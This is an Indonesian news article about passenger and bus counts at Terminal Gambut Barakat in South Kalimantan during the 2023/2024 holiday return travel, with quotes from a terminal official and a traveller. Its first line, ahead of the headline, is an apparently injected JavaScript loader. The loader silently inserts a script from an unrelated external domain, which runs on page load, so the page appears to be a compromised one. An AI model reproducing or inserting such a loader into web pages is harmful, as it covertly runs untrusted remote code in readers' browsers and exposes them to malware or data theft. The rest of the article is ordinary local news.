(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Libur Nataru 2024 Ada 9.924 Penumpang di Terminal Gambut Barakat

KANALKALIMANTAN.COM, MARTAPURA – Terminal Gambut Barakat Km 17 terus disinggahi armada bus maupun penumpang seiring berakhirnya libur Natal dan Tahun Baru (Nataru) 2024.

Arus balik libur Nataru di di Terminal Gambut Barakat Km 17 Kabupaten Banjar ini tercatat mengalami lonjakan penumpang.

Seperti pada hari pertama tahun 2024, petugas pendataan Administrasi dan Teknologi Infomasi BPTD Kelas II Kalimantan Selatan, Rido Saputra menyebut ada sekitar 605 penumpang yang datang ke Terminal Gambut Barakat.

“Kemudian di tanggal 2 Januari ada 604 penumpang. Kalau ditotal dari mulainya arus mudik tanggal 19 Desember 2023 sampai 2 Januari 2024 ada sekitar 351 kendaraan dengan penumpang tercatat 9.924 orang,” ujar petugas pendataan Rido Saputra, Rabu (3/1/2024) siang.

Rido menyebutkan bus yang tiba di terminal itu ada 22 buah armada AKAP (Antar Kota Antar Provinsi) dan 510 buah armada AKDP (Antar Kota Dalam Provinsi).

Petugas Pendataan Administrasi dan Teknologi Infomasi BPTD Kelas II Kalimantan Selatan, Rido Saputra. Foto: wanda

Dari data itu pula, peningkatan arus mudik warga Kalimantan paling tinggi terjadi pada tanggal 23 Desember 2023.

“Ya jumlah itu meningkat jika dibandingkan dengan libur Natal dan Tahun Baru 2023 lalu, peningkatan terjadi sekitar 70 persen hingga 80 persen,” ungkap dia.

Dia mengatakan arus balik sebelumnya sudah diprediksi berlangsung hingga tanggal 2 Januari 2024.

Meski sudah lewat masa arus balik, dia menegaskan bahwa petugas gabungan masih akan berjaga di Posko hingga 4 Januari 2024.

“Kami petugas terminal terus siaga 24 jam di posko sampai 4 Januari 2024, dengan ditemani petugas BPTD Kelas II dibantu Polres Banjar, Basarnas, dan petugas navigasi udara, dan PT Jasa Raharja,” sebut dia.

Hingga hari ini, tambah dia, petugas belum menemukan kendala di lapangan maupun kendala armada bus itu sendiri.

Sebaliknya penumpang selalu diberikan pelayanan maksimal berupa pemberian fasilitas toilet, tempat istirahat, tempat ibadah, hingga tempat makan.

“Begitu pun dengan armada kita, Alhamdulillah tidak ditemukan kendala karena seperti biasa kita petugas selalu melakukan ramp check kepada seluruh bis yang datang maupun yang akan berangkat, jadi kita mengutamakan keselamatan,” tutupnya.

Salah satu penumpang asal Martapura, Yani (60) yang sejak tiga tahun terakhir kerap menggunakan bus AKAP di Terminal Gambut Barakat untuk pulang pergi merantau.

“Saya dari Martapura merantau ke Pangkalanbun sejak tahun 1991 menemani suami kerja jadi guru di sana. Dulunya di Pal 6, tiga tahun terakhir ini saya naik lewat Terminal Gambut Barakat ini,” ujar Yani.

Ia pun mengatakan kerap pulang pergi ke Pangkalanbun, Kalteng sekitar 3-6 bulan sekali. Bahkan saat masih muda, dirinya bisa pergi beberapa kali dalam satu bulan saja.

Pantauan kanalkalimantan.com, Rabu (3/1/2024) siang di terminal, meski terjadi lonjakan penumpang namun hal itu tidak menunjukkan adanya penumpukan signifikan.

Penumpang silih berganti keluar masuk bus untuk berangkat maupun singgah ke kota tujuan. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie